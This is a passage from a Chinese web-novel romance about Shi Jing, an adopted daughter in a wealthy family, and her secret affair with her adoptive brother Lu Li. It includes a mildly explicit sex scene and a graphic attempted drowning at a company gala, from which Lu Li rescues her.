咧开嘴灿烂地笑着,眼梢控制不住的发红,眼瞳湿漉漉的。
“小憬,外面是谁啊?”
陆母的声音传出来。
陆礼把她的手抓出来,看了眼她露肩羊绒连衣裙,攥着的手指冰冷冷的,再伸手摸了下她的脸,眉头就开始皱着,沉着脸劈头盖脸一顿训:“穿这么少不冷?还不快进屋里去。”揪着她就往里面带,解下围巾裹住她露着的肩膀。
时憬在他手里挣扎,“屋里有空调又不冷,谁要披这么丑的围巾啊,这可是我新买的连衣裙!霸道!独裁!蛮不讲理!!!”
陆礼松手,面色平静道:“再多说几句,正好礼物也不用给你了。”说完,他朝着坐在沙发的陆父、陆母走去,叫了声爸妈后坐下。
时憬听见礼物二字,也不扯围巾了。小跑着到他面前,双手接过他脱下的外衣,笑盈盈道:
“亲爱的兄长大人出差辛苦了,我帮您挂衣服。请问要喝茶么?还是咖啡?或者是来点儿红酒?”
态度那叫一个礼貌恭谨。
陆母笑着看兄妹俩打闹,问道:“晚饭吃过了么?”
“吃过了。”陆礼答完还真让时憬去倒水来。
陆父忍不住说了句:“不准欺负妹妹。”
陆礼脸上没甚表情,“她都把我放圣诞树顶上当圣诞老人了,哪里还敢欺负她。”
陆母想起那张图,又忍不住笑。
时憬倒了杯温水,双手递上,笑的眉眼弯弯着拍马屁:“哥,你平时总板着脸不好,这照片多可爱,显得多亲民啊!”
陆礼一口喝完半杯,又把杯子还给她。
“你要是敢把照片再发出去,就把你的副卡停了。”
时憬笑容一僵。
陆礼瞥她:“还发给谁了?”
时憬璀璨一笑,“骗你的,我就发给爸妈看了。”说完伸手讨礼物。
陆礼起身,拿出个红色丝绒盒子放在她头顶,语气随意的说了句:“圣诞快乐。”又向陆父陆母道,“我先上去休息了。”
时憬双手捧下盒子。
盒子沉甸甸的。
打开里面是一只金镯,镯面铺满细钻,在明亮的灯光下,闪着耀眼动人的光。
一眼就迷住了时憬。
“真善良的镯子,快带上去看看。”陆母过来看了眼,忍不住夸了句,顺带还吐槽了下陆父:“你哥的审美比你爸爸强不知多少倍。”
正在喝茶的陆父:……
他可刚送了一只千万钻戒啊!
时憬带上,白皙的手腕压着只橙金的镯子,愈发衬的腕骨秀气。
陆母:“连圈口都正好,好看。”
时憬颔首,眼眸亮晶晶的,“哥哥的礼物我还没给呢,趁他还没睡我先送上去!”她一溜烟小跑着上楼,脚边的裙摆扬起。
陆父笑着摇头:“像个还没长大的孩子,看见哥哥回来这么高兴。”
说者无意。
听者已有心。
陆母脸上温柔的笑缓缓收起,深深地看了眼楼梯的方向。
时憬跑回房拿了礼物,一口气不带停地就往陆礼房间冲去,象征性敲了下门,推门而入——
陆礼正背对着门脱衣服。
温暖的房间里,男人背肌精壮,宽肩窄腰,西装裤下包裹的一双长腿更是紧实有力。
时憬被美色迷惑,咽了咽口水,反手关上门。
陆礼早就听出是她,甚至都没回头,继续解皮带。
第21章 及时行乐
时憬小跑着从身后抱住他,胳膊拥住他劲瘦的腰。
汲取着他肌肤的温暖。
“陆礼。”
“松开。”
时憬选择性忽略,手胡乱摸着结实的腹肌,不敢置信地惊叹:“你出差竟然还有精力健身?”腹肌怎么能维持得这么好!
柔软的手掌,微凉的指尖在他胸口游走。
陆礼的太阳穴跳了下。
扣住她故意胡作非为的一只手,冷声:“松手。”
另一只手还自由,原本还向上,这会儿变道朝下,指尖探紧西装裤,继续往下——
“时憬。”
男人气息微沉,把她手抽出来。
转过身,垂下视线看她。
他没戴眼镜,黑沉沉的眸中腾起近乎无奈的妥协,似是高位冷漠的神祇染上了人间欲望,对祈求的信徒回以温柔,“想要了?晚点再说,我先去洗澡。”
时憬缓缓眨眼。
表情有些难以读懂。
陆礼仍旧控着她的手,问:“这是什么表情。”
时憬笑容柔软,一脸纯良道:“安静地看着你闷骚的表——嗷!你打我?!”
陆礼眼神波动了瞬,松开手,后退两步,一手拎起脱下的高领黑色毛衣迅速穿上,另一只手揪着时憬出去,“作为兄长管教没大没小的妹妹,再来捣乱礼物回收、零花钱取消。”
时憬不敢置信地看他。
话刚到嘴边,忽然意识到什么。
还未等她转头去确认,身后传来陆母的声音。
“刚上楼就听见你们兄妹拌嘴,这又是怎么了?”妇人含笑地看着在门口吵闹的一双儿女。
时憬背对着陆母,眼神恍惚,极快又有了反应,挤出眼泪,拖着陆母的胳膊撒娇告状:“妈妈~你看哥哥他又凶我!”
陆母摸了下女儿的脸颊,“你哥刚出差回来肯定累了,别去惹他。妈妈给你定的晚礼服到了,跟我上去试试看?”
时憬眨眼,“晚礼服?”
她最近没有什么宴会要参加啊。
陆母温柔回她,“陆氏集团新年晚会上穿啊。”
时憬愣住,下意识去看陆礼。
“时憬今年要去?”陆礼开口问,他现在是陆氏集团的掌舵人,新年晚会如此重要的社交场合,出席人员名单他早已过目,他并未看见时憬的名字。
陆母笑得温柔,“前几天我和你爸商量,小憬来我们家也这么多年了,外头的人虽然都知道她是陆家的女孩子,但我们终究没给出一个正式的说法。正好借着这次晚会,让他们都看看我的一双儿女。”说到最后一句时,她疼爱又带点骄傲地握住时憬的手。
前几年她也未参加过陆氏新年晚会,时憬也不曾在意。
但她总想让妈妈高兴。
并未对这个仓促的决定有任何怀疑。
她迫不及待地催着陆母,“妈妈,快带我去看晚礼服,晚会那天我要惊艳四座!”
陆母被她逗笑。
母女两人手挽着手,说笑离开。
陆礼望着自己母亲的背影,目光渐冷下来。
*
让时憬参加新年晚会这个决定虽然仓促,但陆母的准备十分充分——
且富裕。
买下三条当季高定的晚礼服。
还有三套色系相配的项链、耳环。
这一晚,时憬光试礼服、挑选首饰、发饰、高跟鞋,累到脑子都不转了,完全想不起来陆礼,回房倒头就睡。
自这一晚过后,之后的每一天她都很忙。
临近年底,公司业务本就多。
时憬终于尝到了牛马的苦。
下班后又被陆母带着去美甲、做护理、SPA,甚至还因为陆母不满意那日定下的妆容,换了好几个化妆师。
年底时的陆礼也忙。
晚上应酬多。
甚至连陆父也开始频繁外出赴宴。
时憬也不舍得再去压榨陆礼。
而晚上妈妈也偶尔会来找她商量事情,时憬不敢放纵,死死压住旖旎的小心思。
直到晚会前一晚。
时憬和童宛打电话,得知她要参加陆氏新年晚会,高兴地直呼‘总算熬出头了!姐妹!’
时憬在这几天的准备中,也渐明白这场晚会的重要性。
上流社交圈中也有高低。
陆氏在顶层中也稳稳占着举足轻重的地位。
能参与陆氏新年晚会便意味着能半只脚迈进顶层圈中。
她能在这场晚宴以陆家女儿的身份出场,用童宛的话来说就是正式敲开了顶层社交圈的门。
时憬不向往进入圈子,只希望明天的她能满足爸爸妈妈的期望。
她故意岔开话题,问童宛与季易如何。
童宛在那头潇洒地笑了声:“姐们儿正式开始包养他了!”
时憬到没有太惊讶,只担心一件事:“这件事没多少人知道吧?不会传到你爸妈那边去吧?”
童宛浑不在意:“他们眼里心里只有我哥那个好大儿,才懒得打听我在干什么。反正我也不沾恶习,就花点钱取乐子有什么。他们不爱我,我有钱总能找到别人来爱我。人嘛,主打一个及时行乐不委屈自己!”
童宛的语气洒脱。
时憬听着,忍不住笑了。
难怪她和童宛能一见如故。
原来她们都是一类人。
她笑着应声。
童宛稀奇道:“你居然会赞同我?乖乖女,最近出啥事了?”
时憬说没事,童宛没再追问,说了句明晚见后。
童家与陆氏集团有商务往来,虽不如陆氏集团家大业大,但也是沙市老牌企业,每年都在受邀之列。
时憬仰面躺在床上,想童宛的那一声‘乖乖女’。
她乖么?
一点都不。
她极为自私地最爱自己。
自私地缠着陆礼,哪怕她有了陆父、陆母的疼爱,也不愿意放手。
她念着及时行乐。
在迷迷糊糊间生出一个胆大的念头。
既然晚上不行,那早上呢?
新年第一天,时憬起了个大早,开门留意走廊里的动静,果真听见陆礼下楼晨跑。
这么冷的假期不在温暖的被窝里睡懒觉,还能爬起来跑步。
高位者果然都是高精力人。
自律到恐怖。
时憬慢悠悠去洗漱,等的都快睡着了,终于守到人回来。
又在房间里等了十多分钟,探头确认走廊里没人,小跑到陆礼门前,推门而入。
恰好撞见出浴图。
男人仅用浴巾裹着下半身,赤裸的上半身还有遗漏的水滴沿着起伏的胸肌滑落,没入块状腹肌之下。
黑色短发沾染了湿气,柔软地垂下,发丝略带卷,望来的眼神冷漠,禁欲气息愈发浓郁勾人。
“进来前要敲门。”
“我敲了你没听见而已。”
时憬胡言乱语,反手锁上门。
疾步走到面前,毫不遮掩自己的欲望,搂住他脖子,踮脚跳起,两条腿缠住男人的腰。
陆礼单臂托住她后背。
怕她掉下去。
时憬抱着他的脖子,只管居高临下地低头,含住男人温热柔软的双唇。
第22章 非要现在?
清晨的吻,带着薄荷的清凉。
又渐渐灼热,染上失控的味道。
沉下的呼吸声,相拥肌肤接触的体温,他托住后背的力度,一点点填满着她。
男人摸到她睡衣下微冷的肌肤,习惯性皱眉,他对时憬的作息了如指掌,也猜到今天她是故意早起,后撤分开,冷声训道:“在房间里等着也不知道多穿点衣服,冬天着凉是好玩的事吗。”
训完,抱着她移动到书桌前,拿起遥控器调高室温,手掌摩挲着她的后背,试图温暖肌肤。
全是舐犊之情。
没一点男女欲望。
时憬自上而下欣赏着近在咫尺的男色,心口干热,忽略了他的训话,垂着头贴近他,鼻尖轻轻摩挲着他的鼻尖,气息柔软,“你好煞风景…”
不知从哪儿学来的这些动作表情,一一放到陆礼身上试验。
那双眼却依旧纯洁。
像个要糖吃的女孩儿,轻轻触碰着他的双唇,“陆礼。”
黏黏糊糊的叫他的名字。
陆礼松开皱起的眉,把怀里的时憬放到宽阔办公桌上坐着,语气低沉,“非要现在?”
四个字,瞬间惹恼时憬。
她不亲了,也不撒娇了,一双眸子瞪着人,裹着怒气叫他:“陆礼!”
鲜活明媚。
陆礼沉寂的表情波动,唇角微不可察地扬了下,“说。”
时憬怨念冲天:“圣诞节那天你就说要先洗澡,晚些时候再说,结果呢!五天、哦不对,是六天都过去了!你今天又来这招,忽悠谁呢!”生气的小姑娘一股脑把过错全部推到年长的哥哥身上,不讲理地耍小脾气。
陆礼纵容着她,顺着回道:“年底忙。”
时憬:“我也忙!”
说完,站在面前的男人轻笑一声,时憬就知道自己把自己坑了,捂住陆礼的嘴,“你不准说话!今天陆氏新年晚宴,你肯定要喝酒应酬,我不想亲醉鬼——”最主要是喝醉的陆礼实在有些疯,她根本承受不住,时憬甩开顾虑,理直气壮逼近,问:“一句话,做还是不做?”
她磊落直爽。
爱欲分明。
反而衬得他卑劣虚伪。
明明他是男人,他对她也有难控的欲望。
陆礼的指腹摩挲着她的唇,低下头去,以实际行动回应问题。
肌肤温度攀升。
她乱了呼吸。
倒在他怀中喘息,双颊殷红,眼眸盈着一汪涌动的清泉,维持着最后一份理智,“床上……不要这儿……”
他扯开浴袍,铺在硌人的桌面上,炙热的手掌托起她的腿弯,指腹擦过浅粉的疤痕,忽视妹妹的命令,弯下身去,“时间紧,就这儿了。”
时憬眼瞳微颤。
骂人的话全被堵住。
清晨时间的确有些紧张,任务就显得格外沉重,兄长仍旧细心照顾着,连睡衣都不曾脱下,怕她冷着。除此之外,就似春日的天气捉摸不透,时而狂风暴雨,时而微风细雨,任凭行人打湿衣衫,它自屹然不动。
时憬忍不住在餐桌打瞌睡。
引来陆母侧目,“昨晚没睡好吗?”
时憬惊醒。
清醒的目光不知怎么就落在对面男人的手上,慢条斯理的鸡蛋去壳。
今早,他也是这样慢条斯理的……
时憬呼吸一窒,腰腿酸痛、头皮发麻,挤出微笑:“想到今晚的晚宴有些紧张。”
饿狠了的狗男人!
闷骚的渣男!!
她今天都不要给陆礼好脸色看!!
陆母不做它想,安慰道:“今晚谁都比不过我们乖乖,时间还早,吃完上去补个觉,晚上惊艳四座。”
陆礼听见两个字,抬眸看人。
时憬一脸势在必得地点头,“那必须!”
陆母温柔地看她。
连陆父也勾出笑意。
氛围愉悦。
甚至连陆礼也不曾察觉,他看着妹妹的目光,亦是疼爱的。
*
用完早餐,时憬回房倒头就睡,连午饭都睡过了。
睡到下午醒来,化妆师已经为陆母做好造型,换上优雅的暗红丝绒晚礼裙,美如画报中端庄雍容妇人。时憬只恨言语太匮乏,但陆母还是被女儿夸得有些不好意思。
陆母坐车先一步出发。
时憬不用到场那么早,不急不缓地化妆、造型、换装。
傍晚天色微暗下时,她才坐车抵达宴会场。
今年选在陆氏集团名下的高端温泉山庄,静谧优雅,古朴的山庄造景透着低调奢华,山庄中共有十五栋独立小别墅,以造景隔开确保私密性。
今晚陆氏晚宴定在最大宴会厅。
时憬下车时仅披了件开司米披肩。
温泉山庄里因地热,空气里的温度比外面暖和些。
大路两边皆是景观,枝干遒劲的松柏树、形态优美的红豆杉,安静矗立在边界的樟树、铁冬青、宽叶山月桂叶装点着主庭院,暖黄色的灯光下,交织出的意境,让人脱离尘世喧嚣,进入一方纯粹、幽静的世界。
时憬边走边赏景。
忽然停下脚步,转头看远处的一角,那边灯光更昏暗,似乎是通向后院后厨一类的地方,嘈杂的声音从那边传来。
她隐隐觉得有人在看这边。
时憬打算走过去看时,身后冒出一道声音。
“发现一位落单大美人~”童宛吹了声故作轻佻的口哨声,结果美人不为所动,只盯着角落看。
童宛也盯着看,歪了下头,一脸迷惘:“那儿有什么吗?”
时憬微皱着眉:“总觉得好像有人在看我这边,我去看看——”
“嗳!晚宴都快开始了,再不进去就要迟到了!”童宛搂着她肩膀带着朝灯火通明的宴会厅走去,笑嘻嘻道:“今晚温泉山庄不对外营业,就是看也是因你美貌倾倒的人,别多心了,时大公主快走啦。”
时憬想也对。
山庄里宾客非富即贵,剩下就是工作人员。
可能是她多心了。
两个女孩儿挽着手,一路说说笑笑。
快走到宴会厅门口时,时憬看见站在门口的男人,他的身高实在太过优越,一身燕尾服,光华内敛、气质斐然,观之心动。
第23章 “很美”
童宛顿住脚步,松手欲溜。
时憬一把抓住,低声问:“宴会厅从这儿进去,你要去哪儿?”
童宛双手合十央求:“陆少这身禁欲精英味儿太正了,正得人发慌,我最hold不住这种类型的了。容我先找狐朋狗党哈皮会儿压压惊,等会儿再来找你玩~”临走前,她伸手轻佻地勾了下时憬的下巴,“有件事差点忘记告诉你——今天的时公主美爆了!”
时憬难得害羞了下。
童宛眼疾手快掏手机按快门。
时憬:“干嘛?”
童宛笑着晃了下手机,“将来高价卖给你老公!”
时憬:……
“走啦~快去找你哥!”
童宛提着美丽的裙摆,不太美丽的逃走,从偏门低调溜进宴会厅。
“你们俩在外面说什么。”陆礼往外走了几步接她,微欠身,伸出手掌,动作自然而绅士的想要扶她。
时憬到现在还发酸的腰提醒她今早的荒唐事,故意不去看他,冷冷道:“女生话题,与你无关。”
时憬两手稍拎起裙摆,特意避开他的手掌,迈上木阶。
高跟鞋在木板上敲出的声响沉闷。
一如她现在纠结的心情。
可恶。
狗男人怎么能帅到这种地步!
“披肩给我。”陆礼又靠近一步,看见女孩儿耳垂可爱地动了下,男人眼底蔓延丝丝笑色,习惯性想要抬手揉一下发顶,发现她做了发型,手指收回,轻轻碰了下她耳垂,“时小舟,进去后可不能这么板着脸了。”
男人嗓音低柔,含着笑意。
时憬没忍住,侧眸看他。
而后,她在他的瞳孔中看见了今晚的自己。
时憬听见自己强烈的心跳声。
她脱下披肩,提着裙摆转了一圈,香槟色缎面上的细钻折射着细碎的光,白皙的脖间戴着一串密镶钻石项链,旋转时似星光落在她的身上,如月光化身的女神。
纯洁、高贵而优雅。
时憬站定,昂起下巴问:“怎么样?”
陆礼从她手中拿过披肩,叠起挂在小臂上,由着星光落入眼中,垂眸温柔地看她,而后认真的夸奖:“很美。”
这是他呵护长大的女孩儿。
是他最为重要的家人。
他比任何人都希望她永远像今夜一样,自信快乐美丽。
时憬微怔。
耳垂唰的烫红。
“暂时原谅你了。”
嘴角却控制不住地上扬。
谁能被深爱的人夸奖而不心动?
古朴低调的宴会厅门外,一束灯光温柔地照亮二人,一人垂首,一人抬眸,剪影像一幕唯美浪漫的电影画面,赏心悦目。
“陈良!你站这儿看什么呢,还不快去干活,领班要发火了!”
昏暗的小路口,一道骂骂咧咧的声音骤然响起。
穿着清洁工制服的男人直勾勾盯着远处的宴会厅,哑声问:“站门口那个女人是谁?”
那人骂了句关你屁事。
但控制不住想要炫耀自己的见多识广,说道:
“今天晚上主宴会厅里举办的是陆氏集团的宴会,我们这个山庄的大老板就是他们。刚门口那个女的,听说是陆氏老总裁半路收养的养女,好像叫时什么的,旁边那男的就是陆少,陆氏集团现在的总裁。两人往那儿一站就是男才女貌、人上人啊!”
男人眼瞳猛地睁大。
手中的枯枝应声而裂。
时憬——
果真是她!
她居然过上了这么好的日子?!而他却沦落到这种人下人的地步!凭什么?她应该过得比他还要不如才公平!
恨意在眼底扭曲。
*
今晚是时憬第一次参加如此正式的宴会。
衣香鬓影、纸醉金迷。
她仿佛踏进了一个完全陌生的世界,这里的人看似个个优雅从容,却掩盖不住骨子里透露出的高高在上。面对陆家的人,他们迎合吹捧,面对她时,明明眼中流露轻蔑,却还要费劲藏起来,跟着旁人一起吹捧她的可爱美丽。
因为今晚她是陆家的女儿。
没人敢明面上低看她。
时憬跟着陆母,同人客套地社交,部分夸奖她坦然接受,部分软钉子的打探,时憬皮笑肉不笑地反手甩回去。
而她陆家女儿的身份加美丽的外貌,的确引来了不少男人前来攀谈,但前来的男人素质大多一般,只盯着她陆家女儿的身份,甚至还有一个男人开口问她:既然你是陆家的女儿,为什么没有改姓。
关你屁事!
时憬微笑闭眼,忍住没对他竖中指。
宴会开始没多久,她闷得呆不住,看了一圈也没找到童宛。厅里的暖气又太足,吹得她脑袋发胀,偷偷从后门溜出去透气,揉着笑得发僵的腮,踱步欣赏后院美景。
灯光微暖,照着脚边的路。
高跟鞋走在碎石子路上,发出的声音高低不同。
她玩兴大起,多走了一段路,无意从后院走了出去。
院子后面是一片露天泳池,仍旧是仿古建筑风格,明月倒映在泳池中央,四周树木稀疏,视野开阔。
夜间寒风吹来,冻得她打了个哆嗦。
“好冷…”
她缩着胳膊瑟瑟发抖,脸上却漾着轻松的笑意。
一扫刚才的昏沉无趣。
甚至连眼神都亮了几分。
“不过还是好冷还是回去吧——”她喃喃自语着,正打算转身回去,忽然从侧边冒出来一个人影,吓得时憬顿住脚步,心脏狂跳。
他穿着山庄里的制服,帽檐压低。
时憬以为这人是在巡逻,松了口气,甚至还往旁边让了两步。
当时憬与他擦身而过时,他突然用力拽住时憬的手腕:“你还记得我吗?”语气阴沉可怖,像是从泥土地里钻出来的毒蛇,话音落,他才抬起头,面容暴露在月光下。
一张陌生、消瘦的脸,在她眼前放大。
时憬猛地睁大眼睛。
噩梦般的记忆回扑。
这一瞬,时憬甚至忘了挣扎。
男人恶狠狠地把她扯到眼前,手上力气大到几乎要把她的手腕拧断,狞笑着上下打量她:“今晚穿挺漂亮的啊。”他边说着,另一只手猥琐地摸上时憬赤裸的肩头。
粗粝的手指刮得皮肤发疼。
男人衣服上刺鼻的化学品气味飘来。
时憬从过去的回忆中惊醒,眼前的男人早已不是八年前可怜的死者家属。
她用力挥开他的手,厉声警告:“别动我!这儿是陆氏的地方,你是在这儿工作的吧?不想丢了工作就立刻离呃——”
男人眼中暴怒。
手掌一把掐住她脖子。
他怒瞪双目,青筋暴起,五官扭曲:“你TM敢威胁老子!你有什么资格威胁老子!杀人犯的贱种!”他另一只手朝着时憬的脸狠狠扇下去!
第24章 她是杀人犯的女儿!
“啪——”
窒息。
灼热的疼。
晕眩。
血腥。
一齐袭来。
时憬痛苦的一只手抓着他的胳膊,试图扯开他。
另一只握着手袋的手藏在背后,胡乱摸到关机键快速连按,眼前已开始渐渐发黑,却连一句话都说不出口。
在她挣扎时,纤细脖间的钻石项链折射出耀眼的光。
落入男人眼中。
轻而易举勾起他的贪婪欲望:
“这项链也不便宜吧?谁给你买的?你姘头陆少?还是你睡的老男人?”他用粗鄙的语言攻击时憬,抓住项链野蛮扯断!锋利的断口在她脖间割开一道伤口,鲜血渗出。
男人把项链塞进自己口袋。
不要——
还给她——
那是妈妈送给她的——
时憬抓着手袋就用他脸上砸去!
手袋上镶嵌着细钻,砸到脸上时疼的男人松开了些手。
时憬发了疯的尖叫:“还给我!那是我的项链!浑蛋——还给我——来人——”
“TMD的你敢打我?!”
她的反抗令男人失去理智。
他捂住时憬嘴巴,胳膊勒着她的脖子,拖着往露天泳池走去,手掌掐住她后脖颈,压着她的脸往泳池里压进去,发泄着咒骂:“你打啊!你TM还敢来打我!!你就应该做鸡、做婊子!生不如死地活着!!为你妈杀的人赎罪!!”
他看着手掌下的女人还在挣扎,看着她身上价值不菲的裙子,看着她耳朵上的首饰,看着她光滑的肌肤,看着她这些年明显过着滋润的生活——在他苟延残喘、低三下四整天端屎端尿的这八年里,她都过着这样的生活!
凭什么!
凭什么!!!
这一刻,压抑了八年的恨意彻底扭曲。
“你这样的人去下地狱吧…”
“你这样的人去死!”
“去死啊!!!”
他过着这样屎尿不分、肮脏不堪的日子都是因为她们,只要她们都死了,只要她们都去死了,他的日子一定能好起来!他过够了这样的日子了!
对——
只要她们去死!
男人拽下她的晚礼服,脚用力踩住她一只手,把她踹下泳池,另一只脚却踩在她的头顶上,不让她浮出水面换气!
去死吧。
就像他老婆被逼投湖自尽一样!
让她来赎罪!
去死吧……
男人站在岸上,看着女人纤细白皙的胳膊不断扑腾着,痛苦地沉在水中,心中的恨意仿佛得到了诡异的疏解,一股变态的快感升起。
她越痛苦,他就越高兴!
她快要死了,他的厄运就能过去了!
快死吧——
时憬在水中挣扎着,拼命想要躲开他的脚,拼命在心里叫着陆礼的名字。
陆礼——
陆礼——
快来——
快来救我——
快——
*
陆礼与宋、王两家寒暄完,发现宴客厅中不见时憬身影,以为她溜去包厢休息,让工作人员去看了眼,也未看见人。
陆礼找到唐宛,准备问她时憬去向时,手机震动,收到时憬发来的短信。
他点进去查看——
唐宛看着高冷矜贵的陆少一秒变脸,在手机上操作几下后,转身就朝后院走去。
直接忽略走来的楼心月,疾步离开。
楼心月脸色难看至极。
童宛差点笑出声来。
不过她也有些好奇,是谁能让泰山崩于前不动声色的陆少脸色大变,回头一定要和时憬八卦下……
等等。
陆少刚才是来找自己的?
童宛在宴会厅扫了一圈,没看见时憬,这才变了脸,难道是时憬出事了?
童宛提着裙子也朝后院走去。
陆礼按着SOS紧急求助短信上的定位赶去,空无一人的室外,月光昏暗,泳池边只有一男人背影,泳池里不断溅起水花。
他浑身血液一凉。
疾跑过去。
看见地上掉落的钻石手袋,看见男人用踩住的白皙手腕,看见泳池中不断挣扎的人影。
是他的时憬!
滔天怒火刹那腾起。
冲过去抓住男人的肩膀,拳头朝男人的脸用力挥去!
陆礼的动作太快,发泄中的男人甚至还没弄清楚发生了什么事,只觉得身子一歪、脸上剧痛,整个人狼狈倒地。
“谁——”
他粗喘着气,混乱的视线中,看见一个西装革履的男人纵身跳入泳池,圈住呛水下沉的时憬,在水中脱下外衣,裹住赤身裸体的女人上岸。
恨意在男人眼底熊熊燃烧!
她被人救了!
他老婆那时候为什么没有人去救她!
她要去死!
这儿的骚动很快引来不少宾客的注意,还有几个好奇地站在后院出口,用手机拍着这边的混乱。
男人趴在地上,指着被陆礼怀中的女人,歇斯底里地怒骂,每一个字都夹杂着杀人的恶意:“杀人犯!陆家养女时憬是杀人犯的贱种!!”
“一个杀人犯的种!他妈杀了我妈!逼死了我老婆!!她不知道用了什么手段勾搭上了陆家!不要脸的婊子!睡了多少男啊——”
跟随陆礼过来的两个保镖都是退伍武警出身,下手精准狠辣,扭住男人胳膊重重压在地上!
男人痛得哀嚎出声。
两个保镖触及陆少冰冷到几欲杀人的目光,他们后背一寒,立刻捂住男人的嘴。
陆礼小心翼翼地将时憬抱在怀中。山庄经理得到消息后抱着两张毯子一路玩命飞奔过来。
双肺差点爆炸。
陆礼用两张毯子把怀里的妹妹裹住,护住她裸露的肌肤。
用手掌挡住她的脸,不让任何人窥探。
他看上去是如此冷静,扫去的视线如看垃圾般厌恶,“报警,找佟律去处理,告他盗窃珠宝、诽谤、蓄意杀人,陆家会追究到底,不接受任何调节。”
男人猛地睁大眼,咬住保镖的手,发狠咬下一小块肉来,捂着他的手松了些。男人满口鲜血,甩开手掌,像个失智的狂徒:“你们敢!!!时憬!!我爸瘫了,我进去了就没人管他了!他就要死了!!时憬——你妈是杀人犯!时憬你TM也是杀人犯!!你们一家统统都是杀人犯!!我爸、我妈、我老婆——他们做了厉鬼也不会放过你!!!”
陆礼捂住时憬的耳朵。
不让妹妹被听见这些脏东西。
他待妹妹有多温柔,对外面的脸色就有多冷的吓人,视线威严逼人:“还要我教你们怎么做?把人拉出去。”
另一个保镖立刻死死捂住男人嘴巴。
童宛刚赶到就听见男人对时憬恶毒的咒骂,气得冲出去,一把拽下高跟鞋手脚并用地毒打男人:“人渣!那就是一场车祸!她妈也在车祸里死了!不只是你一个人死了妈!钱她家也赔了!她不欠你的狗东西!!再让我听见你污蔑她老子找人轮了你!玛德!”
第25章 抱我…陆礼……
童宛扯着喉咙,故意把前面几句话大声吼出来,让那些看热闹的手机听见。
男人被保镖牢牢压着、堵着嘴,毫无还手之力,一顿拳打脚踢下来,脸上身上迅速挂彩。
童宛累得直喘气,扔下高跟鞋一扬手:“还愣着干什么,拉去警察局啊!”
保镖被她彪悍的作风吓到。
压着人迅速离开现场。
陆礼在找到妹妹后,只想尽快离开,带她回到安全的地方,不愿让这些事情再度伤害到她。却在童宛冲出来时,他停下步子,松开捂住妹妹耳朵的手。
因为有些话,他无法当场说出口。
因为他是陆氏集团的掌舵人。
他当众的一言一行都与陆氏息息相关。
童宛穿上高跟鞋,一脸担忧的看着陆礼怀里抱着的人,“时憬……”
陆礼将她藏得太好。
童宛甚至没看到人脸。
听见一道细微的声音从毯子下微弱的传出来,“谢谢你……”
童宛听见声音后松了口气:“快去换衣服,我等会儿来看你。”她看见不远处对准他们的手机,知道这会儿不是说话的时候。
看人离开后,童宛揉了下鼻子,凶巴巴朝那些人走去,挥着胳膊呵斥:“拍什么拍!我都认识你们!敢把今天的视频漏出去,回头我都把你们的名字一个不落的发给陆礼!”
真正有身份的人不会来看这种热闹。
这些都是圈子里的跳梁小丑。
童宛不在意她自己的风评,反正已经很烂了,但时憬不一样——她被陆礼保护得那么好,又对自己那么好,她得为这个好朋友做些什么。
*
主宴会厅里陆礼身为陆氏集团现任总裁匆匆离场,又迟迟未归,已有不少宾客发现。
很快,后面的骚动也传到陆父陆母耳中。
陆母无心应付社交寒暄。
一是担心女儿。
二是终场舞时间快到,陆礼不在像什么话?
她把酒杯塞到陆父手中,低声说话:“我去看看两个孩子,再把叫陆礼回来。”
*
一号别墅。
二楼。
时憬下沉,让身体完整地浸入浴缸中。
温暖的水从四面八方涌来,试图驱走她身体里的冰冷,安抚她发颤发抖的身躯。
她用力握紧双手。
一遍遍告诉自己:
没事,陆礼在。
没事,没事,没事的。
时憬,不要去想。
没事的。
可不论她怎么阻止,水中窒息的绝望、八年前的恶意,鲜血淋漓地涌到她眼前,她瞪着干涩的眼,抬起手捂住自己的脸,低声:“混蛋……王八蛋……混蛋……一群吸血鬼……”
情绪会杀人。
可她现在想要活下去。
浴室里安静。
陆礼坐在沙发上吹干头发,目光始终落在浴室的方向。
想起八年前的交通事故。
时憬的母亲凌晨在宣沙交接路段开车闯红灯,撞上陈家夫妻的车,两死一重伤,事发后检测出时母车内酒精超标,判定为醉驾。陈良——就是今日闹事的男人知道后,要时家赔付两百八十万赔偿金。
时家只有母女俩,时父早年欠债逃了出去,时母带着女儿在古镇开了家民宿,生意还算不错。事发后,时憬只有15岁,由时父那边的亲戚代为处理。那些亲戚早就眼红时母的民宿,出事后一口应下赔偿金额,第二天把民宿房产卖了还完赔付金后,瓜分了余下的钱,还说钱不够赔付,认定时母有私藏,要求时憬拿八十万出来。
在时母的灵堂上,一群大人逼着个15岁的女孩拿钱。
那天陆礼若再晚到半个小时……
嗡——
手机跳出佟律师发来的信息,打断陆礼的思绪。
【八年前张良拿了那一笔赔付后,和狐朋狗友花天酒地,把照顾瘫痪老父的重担全部推给他老婆,陈父猥亵儿媳,被邻居撞见后他老婆跳河自尽,陈良和他爸大吵一架后突发心梗入院,一趟ICU下来,赔付款花得差不多,人也跟着烂了】
想起陈良今日的疯癫。
恐怕他也迫不及待希望自己进去,好摆脱自己的父亲。
陆礼收起手机。
关了吹风机。
看向仍旧安静的浴室门。
他走过去,叫了声:“时憬?”
隔了会才有回应。
“出来了。”
随即听见哗啦啦的水声。
门打开,她穿着浴袍走出来,头发湿漉漉的披在肩上,脸上的妆容没卸,眼中的星光仿佛散尽,眼神有些木木的看着人。
这样的时憬,像是回到了八年前。
八年前因为他得到时母的照顾,所以才把时憬带回家,想着援助她到十八岁成年,他们之间就再无关系。
可后来他将妹妹捧着呵护着照顾了八年。
他连说句重话都要三思的女孩,却被伤成这样。
陆礼眼底闪过狠厉,此时只恨他当时一拳揍轻了。
兄长压下怒火,抬手摸了下她湿发,目光温柔:“不怎么不吹干头发再出来?”他低下视线,看见浴袍领子微敞,白皙脖间一道细长的伤口。
“自己先吹头发,我去拿药箱上来。”
时憬抓住他袖子,头低着,轻声说道:“不要走…”
陆礼转过身看,语气温柔的像是在哄孩童:“泳池里的水可能不干净,伤口必须得消毒,听话。”他看着她仍低着头,弯腰抱起她,放在沙发上,“我很快上来,好——”
话音被冰冷的唇堵住。
她横冲直撞,毫无技巧,像是慌不择路的小鹿,被恐惧支配的乱闯。两只手从浴袍交叠的衣领伸进去,冷冰冰的手掌汲取着他的温暖,想要用力拥抱,想要驱逐寒冷。
他们消失太久。
宴会将近尾声,陆母肯定回来找他们。
如果是受惊之前的时憬绝不会如此莽撞冲动。
现在的她却顾不上这些。
她被残留的恶意、冰冷的湖水蚕食着她的理智,她想要温暖起来。
就像八年前那样,带她回到陆家那样的温暖。
就像四年前那样,他占有自己的温暖。
她呼吸微弱,眼圈发红,“陆礼,抱我…”
